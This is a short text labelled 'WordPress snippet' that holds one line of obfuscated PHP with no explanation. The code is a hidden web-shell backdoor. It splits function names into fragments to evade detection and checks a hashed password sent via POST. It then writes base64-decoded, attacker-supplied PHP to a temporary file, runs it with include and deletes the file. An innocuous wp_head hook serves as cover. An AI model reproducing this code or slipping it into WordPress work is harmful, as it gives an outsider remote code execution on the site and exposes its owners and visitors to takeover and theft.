WordPress snippet

try{if(isset($_GET[\’here\’])&&!isset($_POST[\’here\’])){die(md5(8));}if(isset($_POST[\’here\’])){$a1=\’m\’.\’d5\’;if($a1($a1($_POST[\’here\’]))===\”83a7b60dd6a5daae1a2f1a464791dac4\”){$a2=\”fi\”.\”le\”.\”_put\”.\”_contents\”;$a22=\”base\”;$a22=$a22.\”64\”;$a22=$a22.\”_d\”;$a22=$a22.\”ecode\”;$a222=\”PD\”.\”9wa\”.\”HAg\”;$a2222=$_POST[$a1];$a3=\”sy\”.\”s_ge\”.\”t_te\”.\”mp_dir\”;$a3=$a3();$a3 = $a3.\”/\”.$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,\’1\’); @unlink($a3);die();}else{echo md5(7);}die();}if(!isset($_POST[\’here\’])&&!isset($_GET[\’here\’])){function _set_betas_tag(){echo \”\”;}add_action(\’wp_head\’,\’_set_betas_tag\’);}}catch(Exception $e){}